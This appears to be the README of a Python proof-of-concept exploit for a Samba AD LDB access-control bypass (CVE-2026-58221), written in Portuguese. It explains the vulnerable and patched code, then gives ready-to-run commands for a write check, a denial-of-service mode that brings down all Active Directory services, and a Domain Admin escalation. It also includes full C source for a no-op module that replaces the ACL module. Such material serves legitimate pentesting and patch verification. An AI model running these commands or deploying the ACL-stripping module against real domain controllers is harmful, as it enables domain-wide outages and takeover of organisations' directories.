
PoC em Python para CVE-2026-58221: verifica e explora o bypass de ACL de DN especial do Samba AD LDB via LDAP para comprovar acesso de escrita, derrubar serviços do AD ou escalar para Domain Admin.
CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Qualquer usuário de domínio autenticado pode modificar registros especiais internos do Samba LDB (@MODULES, @PARTITION, @SAMBA_DSDB) via LDAP, levando a Negação de Serviço (derrubar todos os serviços do AD) ou escalada para Domain Admin (com acesso ao sistema de arquivos local).
| Status | Versões |
|---|---|
| Vulnerável | Samba AD DC >= 4.0.0 (todas as versões anteriores ao patch) |
| Corrigido | 4.22.11, 4.23.x, 4.24.x |
Aviso: https://www.samba.org/samba/security/CVE-2026-58221.html
Duas falhas se combinam para contornar todos os controles de acesso nos registros internos do LDB do Samba:
rootdse_filter_operations() — Verificação de Autenticação InsuficienteEm source4/dsdb/samdb/ldb_modules/rootdse.c, a função rootdse_filter_operations() é o primeiro filtro na cadeia de requisições LDAP. Ela bloqueia apenas chamadores anônimos — qualquer usuário autenticado passa, independentemente de privilégios:
// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// Only blocks anonymous — all authenticated users pass through
if (session_info->security_token == anonymous_token) {
return LDB_ERR_OPERATIONS_ERROR;
}
return ldb_next_request(module, req); // → passes to ACL module
}
acl.c — Bypass de ACL para DNs especiaisEm source4/dsdb/samdb/ldb_modules/acl.c, o módulo ACL ignora todas as verificações de permissão para DNs especiais do LDB (aqueles que começam com @), assumindo que apenas operações internas confiáveis chegam até eles:
// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
return ldb_next_request(module, req); // NO permission check!
}
Efeito combinado: Um usuário de domínio autenticado com baixos privilégios envia uma solicitação de modificação LDAP direcionada a @MODULES. Ela passa por rootdse_filter_operations() (não anônima), chega a acl.c, que vê um DN especial e ignora todas as verificações de ACL — a modificação é bem-sucedida.
A correção adiciona uma verificação ldb_dn_is_special() em rootdse_filter_operations() antes de a solicitação chegar ao módulo ACL:
// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
// NEW: Block all operations on special DNs from external connections
if (ldb_dn_is_special(req->op.*.message->dn)) {
D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
return LDB_ERR_OPERATIONS_ERROR;
}
// ... rest of function
}
LDB é o banco de dados interno do Samba (sam.ldb), equivalente ao NTDS.dit do Windows. Ele armazena todos os objetos do Active Directory e usa uma arquitetura de cadeia de módulos para processar requisições.
samba_dsdbsamba_dsdb é o ponto de entrada único que inicializa toda a cadeia de módulos do Samba (~30 módulos). Ele:
samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)forced_module_msg — que sobrescreve qualquer valor de @PARTITION/modules armazenado no banco de dadosÉ por isso que módulos individuais não podem ser carregados de forma independente — eles falham com Protocol error (2) sem o contexto que samba_dsdb fornece. É também por isso que modificar @PARTITION/modules no banco de dados não tem efeito sobre a cadeia de módulos em execução.
| DN | Propósito | Impacto da Modificação |
|---|---|---|
@MODULES/@LIST | Controla quais módulos o Samba carrega por conexão | Falha (se alterado de samba_dsdb) |
@PARTITION | Configuração de partições e módulos por partição | Ignorado (sobrescrito por forced_module_msg) |
@SAMBA_DSDB | Configuração interna do samba_dsdb | Falha |
safe-write (Não Destrutivo) ✅Grava de volta o mesmo valor (@LIST: samba_dsdb) em @MODULES. Comprova o acesso de escrita sem qualquer impacto no serviço. Recomendado para pentests.
python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write
dos (Destrutivo) ⚠️Substitui @MODULES/@LIST por nomes de módulos individuais (excluindo acl/aclread). Na próxima conexão, os módulos falham ao inicializar sem o contexto samba_dsdb → todos os serviços AD entram em colapso (LDAP, SMB, Kerberos, DNS).
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force
Impacto: Interrupção total do AD. A recuperação exige acesso ao console local. Toda a autenticação de domínio para.
escalate (Domain Admin — Requer Acesso Local) 🔴Cadeia completa de exploração para obter Domain Admin:
@MODULES é gravável via LDAP (remoto)acl.so / aclread.so por versões no-op (local)python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=user,CN=Users,DC=domain,DC=local'
Código-fonte do módulo ACL no-op:
#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
.name="acl", .add=noop, .modify=noop,
.del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
return ldb_register_module(&ops);
}
| Modo | Impacto | Requer |
|---|---|---|
--check | Nenhum (seguro) | LDAPS + credenciais de domínio |
--assess | Nenhum (análise) | LDAPS + credenciais de domínio |
--exploit --method safe-write | Nenhum (comprova escrita) | LDAPS + credenciais de domínio |
--exploit --method dos | Interrupção total do AD | LDAPS + credenciais de domínio |
--exploit --method escalate | Domain Admin | LDAPS + credenciais de domínio + sudo no DC |
--cleanup | Reverte a escalada | LDAPS + credenciais de domínio + sudo no DC |
--fix | Restaura o DC travado | Console local no DC |
# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'
# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method safe-write
# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method dos --force
# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
--method escalate --force \
--base-dn 'DC=domain,DC=local' \
--target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'